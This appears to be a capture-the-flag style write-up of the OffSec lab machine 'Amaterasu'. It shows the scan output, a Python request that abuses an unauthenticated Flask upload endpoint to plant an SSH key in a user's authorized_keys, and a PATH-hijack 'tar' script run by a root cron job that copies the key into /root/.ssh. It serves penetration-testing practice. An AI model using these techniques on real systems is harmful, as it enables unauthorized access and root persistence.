[Offsec] Amaterasu writeup
Introduction
The challenge is at: Offsec Labs Play
Scanning
Let’s start with nmap scanning as usual
> sudo nmap -v -A -O 192.168.187.249 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2024-06-01 01:33 CDT
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 01:33
Completed NSE at 01:33, 0.00s elapsed
Initiating NSE at 01:33
Completed NSE at 01:33, 0.00s elapsed
Initiating NSE at 01:33
Completed NSE at 01:33, 0.00s elapsed
Initiating Ping Scan at 01:33
Scanning 192.168.187.249 [4 ports]
Completed Ping Scan at 01:33, 0.09s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:33
Completed Parallel DNS resolution of 1 host. at 01:33, 0.02s elapsed
Initiating SYN Stealth Scan at 01:33
Scanning 192.168.187.249 [65535 ports]
Discovered open port 21/tcp on 192.168.187.249
Discovered open port 33414/tcp on 192.168.187.249
SYN Stealth Scan Timing: About 19.22% done; ETC: 01:36 (0:02:10 remaining)
Discovered open port 40080/tcp on 192.168.187.249
SYN Stealth Scan Timing: About 47.28% done; ETC: 01:35 (0:01:08 remaining)
Discovered open port 25022/tcp on 192.168.187.249
Completed SYN Stealth Scan at 01:35, 120.99s elapsed (65535 total ports)
Initiating Service scan at 01:35
Scanning 4 services on 192.168.187.249
Completed Service scan at 01:35, 11.18s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.187.249
Retrying OS detection (try #2) against 192.168.187.249
Initiating Traceroute at 01:35
Completed Traceroute at 01:35, 0.07s elapsed
Initiating Parallel DNS resolution of 4 hosts. at 01:35
Completed Parallel DNS resolution of 4 hosts. at 01:35, 0.02s elapsed
NSE: Script scanning 192.168.187.249.
Initiating NSE at 01:35
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 01:36, 30.62s elapsed
Initiating NSE at 01:36
Completed NSE at 01:36, 0.43s elapsed
Initiating NSE at 01:36
Completed NSE at 01:36, 0.00s elapsed
Nmap scan report for 192.168.187.249
Host is up (0.055s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.45.225
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp closed ssh
111/tcp closed rpcbind
139/tcp closed netbios-ssn
443/tcp closed https
445/tcp closed microsoft-ds
2049/tcp closed nfs
10000/tcp closed snet-sensor-mgmt
25022/tcp open ssh OpenSSH 8.6 (protocol 2.0)
| ssh-hostkey:
| 256 68:c6:05:e8:dc:f2:9a:2a:78:9b:ee:a1:ae:f6:38:1a (ECDSA)
|_ 256 e9:89:cc:c2:17:14:f3:bc:62:21:06:4a:5e:71:80:ce (ED25519)
33414/tcp open http Werkzeug httpd 2.2.3 (Python 3.9.13)
|_http-title: 404 Not Found
|_http-server-header: Werkzeug/2.2.3 Python/3.9.13
40080/tcp open http Apache httpd 2.4.53 ((Fedora))
|_http-server-header: Apache/2.4.53 (Fedora)
|_http-title: My test page
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
Device type: general purpose|firewall|router
Running (JUST GUESSING): Linux 4.X|5.X|6.X|3.X (97%), IPFire 2.X (91%), MikroTik RouterOS 7.X (88%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:ipfire:ipfire:2.27 cpe:/o:linux:linux_kernel:5.15 cpe:/o:linux:linux_kernel:6.1 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:3
Aggressive OS guesses: Linux 4.19 - 5.15 (97%), Linux 4.15 (92%), IPFire 2.27 (Linux 5.15 - 6.1) (91%), Linux 5.4 (90%), Linux 5.0 - 5.14 (88%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (88%), Linux 3.11 - 4.9 (88%), Linux 3.2 - 3.8 (88%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 41.351 days (since Sat Apr 20 17:10:51 2024)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=265 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Unix
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 50.74 ms 192.168.45.1
2 50.71 ms 192.168.45.254
3 51.94 ms 192.168.251.1
4 51.92 ms 192.168.187.249
NSE: Script Post-scanning.
Initiating NSE at 01:36
Completed NSE at 01:36, 0.00s elapsed
Initiating NSE at 01:36
Completed NSE at 01:36, 0.00s elapsed
Initiating NSE at 01:36
Completed NSE at 01:36, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 167.92 seconds
Raw packets sent: 131230 (5.778MB) | Rcvd: 133 (6.240KB)
Going through potential attack surfaces, we have vsftpd 3.0.3
that allows anonymous login, two http services, and an ssh
service as well.
Let’s scan the two http services, and in the mean time, we’ll check out the vsftpd. We can try ssh bruteforcing, but that would cost lots of time and most probably unlikely to success.
> dirble http://192.168.187.249:40080
Dirble UNKNOWN (commit UNKNOWN, build 2019-07-11)
Developed by Izzy Whistlecroft
Targets: http://192.168.187.249:40080
Wordlist: /usr/share/dirble/dirble_wordlist.txt
No Prefixes
No Extensions
No lengths hidden
[INFO] Detected nonexistent paths for http://192.168.187.249:40080 are (CODE:404)
[INFO] Increasing wordlist-split for initial scan of http://192.168.187.249:40080 to 8
+ http://192.168.187.249:40080/LICENSE (CODE:200|SIZE:6555)
L http://192.168.187.249:40080/images/ (CODE:200|SIZE:894)
+ http://192.168.187.249:40080/index.html (CODE:200|SIZE:1092)
L http://192.168.187.249:40080/styles/ (CODE:200|SIZE:885)
Dirble Scan Report:
+ http://192.168.187.249:40080/LICENSE (CODE:200|SIZE:6555)
+ http://192.168.187.249:40080/index.html (CODE:200|SIZE:1092)
L http://192.168.187.249:40080/images/ (CODE:200|SIZE:894)
L http://192.168.187.249:40080/styles/ (CODE:200|SIZE:885)
dirble http://192.168.187.249:33414
Dirble UNKNOWN (commit UNKNOWN, build 2019-07-11)
Developed by Izzy Whistlecroft
Targets: http://192.168.187.249:33414
Wordlist: /usr/share/dirble/dirble_wordlist.txt
No Prefixes
No Extensions
No lengths hidden
[INFO] Detected nonexistent paths for http://192.168.187.249:33414 are (CODE:404)
[INFO] Increasing wordlist-split for initial scan of http://192.168.187.249:33414 to 8
Curl error after requesting http://192.168.187.249:33414/counter : [28] Timeout was reached
+ http://192.168.187.249:33414/counter (CODE:0|SIZE:0)
Curl error after requesting http://192.168.187.249:33414/contactus : [28] Timeout was reached
+ http://192.168.187.249:33414/contactus (CODE:0|SIZE:0)
+ http://192.168.187.249:33414/help (CODE:200|SIZE:137)
+ http://192.168.187.249:33414/info (CODE:200|SIZE:98)
Dirble Scan Report:
+ http://192.168.187.249:33414/contactus (CODE:0|SIZE:0)
+ http://192.168.187.249:33414/counter (CODE:0|SIZE:0)
+ http://192.168.187.249:33414/help (CODE:200|SIZE:137)
+ http://192.168.187.249:33414/info (CODE:200|SIZE:98)
Breaking in
Okay, so looks like there is an API endpoint at port 33414. Let’s see what it does.
> curl http://192.168.191.249:33414/help | jq ~/Projects/OffSec/Labs/Amaterasu@homes5
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 137 100 137 0 0 1539 0 --:--:-- --:--:-- --:--:-- 1556
[
"GET /info : General Info",
"GET /help : This listing",
"GET /file-list?dir=/tmp : List of the files",
"POST /file-upload : Upload files"
]
Let’s try the file-list
endpoint.
> curl http://192.168.191.249:33414/file-list\?dir\=/ | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 140 100 140 0 0 1640 0 --:--:-- --:--:-- --:--:-- 1627
[
"boot",
"dev",
"proc",
"run",
"sys",
"tmp",
"etc",
"root",
"var",
"usr",
"bin",
"sbin",
"lib",
"lib64",
"home",
"media",
"mnt",
"opt",
"srv",
".autorelabel"
]
> curl http://192.168.191.249:33414/file-list\?dir\=/home | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 12 100 12 0 0 138 0 --:--:-- --:--:-- --:--:-- 139
[
"alfredo"
]
Now let’s try to use the file-upload
one. This one is a bit tricky as we don’t know how the server handles file upload with HTTP POST requests. But we can try all the possibilities.
Let’s try a typical file upload request with python.
import requests
files = {
'file': open('./test.txt', 'rb'),
}
response = requests.post('http://192.168.191.249:33414/file-upload', files=files)
print(response.json())
{'message': 'No filename part in the request'}
One more thing to pay attention to: The API is in Python Flask. This was discovered using the file-list endpoint. Let’s take a look at how to handle upload file with Python Flask. Uploading Files
After successfully uploading a test file. We can try to deliver our payload as an ssh accepted public key and connect to it.
# generate a new ssh key pair for payload
> ssh-keygen -t rsa -f id_rsa
# copy pub key to a new text file
> cp id_rsa.pub authorized_keys.txt
import requests
files = {
'file': open('./authorized_keys.txt', 'rb'),
'filename': (None, '/home/alfredo/.ssh/authorized_keys'),
}
response = requests.post('http://192.168.191.249:33414/file-upload', files=files)
print(response.json())
Now let’s use ssh to connect to it.
> ssh -i id_rsa -o IdentitiesOnly=yes alfredo@192.168.191.249 -p 25022
Last login: Tue Mar 28 03:21:25 2023
[alfredo@fedora ~]$ id
uid=1000(alfredo) gid=1000(alfredo) groups=1000(alfredo)
[alfredo@fedora ~]$ ls -lah
total 20K
drwx------. 4 alfredo alfredo 127 Mar 28 2023 .
drwxr-xr-x. 3 root root 21 Mar 28 2023 ..
-rw-------. 1 alfredo alfredo 4.0K Jun 19 03:13 .bash_history
-rw-r--r--. 1 alfredo alfredo 18 Jan 25 2021 .bash_logout
-rw-r--r--. 1 alfredo alfredo 141 Jan 25 2021 .bash_profile
-rw-r--r--. 1 alfredo alfredo 492 Jan 25 2021 .bashrc
-rwx------. 1 alfredo alfredo 33 Jun 19 02:54 local.txt
drwxr-xr-x. 3 alfredo alfredo 54 Mar 28 2023 restapi
drwx------. 2 alfredo alfredo 61 Jun 19 03:06 .ssh
Privilege Escalation
First of all, let’s find all the SUID binaries.
[alfredo@fedora ~]$ find /usr -type f -perm /4000
/usr/bin/fusermount
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/staprun
/usr/sbin/grub2-set-bootflag
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
find: ‘/usr/share/polkit-1/rules.d’: Permission denied
find: ‘/usr/share/empty.sshd’: Permission denied
find: ‘/usr/libexec/initscripts/legacy-actions/auditd’: Permission denied
/usr/libexec/cockpit-session
I tried to look around those binaries. None of them seemed to work because they were all standard binaries.
[alfredo@fedora ~]$ EDITOR=vi crontab -e
no crontab for alfredo - using an empty one
# hit :!id to execute shell command under vi (vim)
uid=1000(alfredo) gid=1000(alfredo) groups=1000(alfredo)
Talking about crontab, let’s also check the system crontab.
[alfredo@fedora ~]$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
*/1 * * * * root /usr/local/bin/backup-flask.sh
[alfredo@fedora ~]$ cat /usr/local/bin/backup-flask.sh
#!/bin/sh
export PATH="/home/alfredo/restapi:$PATH"
cd /home/alfredo/restapi
tar czf /tmp/flask.tar.gz *
Interesting, the system crontab runs every minute, calling the script at /usr/local/bin/backup-flask.sh
as root. The script adds the place we have control of to PATH. That’s good enough. We’ll create a script named tar
in restapi
folder and copy the authorized_keys
file to /root/.ssh
[alfredo@fedora restapi]$ cat tar
#!/bin/bash
mkdir -p /root/.ssh
cp /home/alfredo/.ssh/authorized_keys /root/.ssh/
Wait 1 minute for the cron to execute. And after that we can connect to it.
> ssh -i id_rsa -o IdentitiesOnly=yes root@192.168.191.249 -p 25022 ~/Projects/OffSec/Labs/Amaterasu@homes5
Web console: https://fedora:9090/
Last login: Tue Mar 28 03:21:22 2023
[root@fedora ~]# id
uid=0(root) gid=0(root) groups=0(root)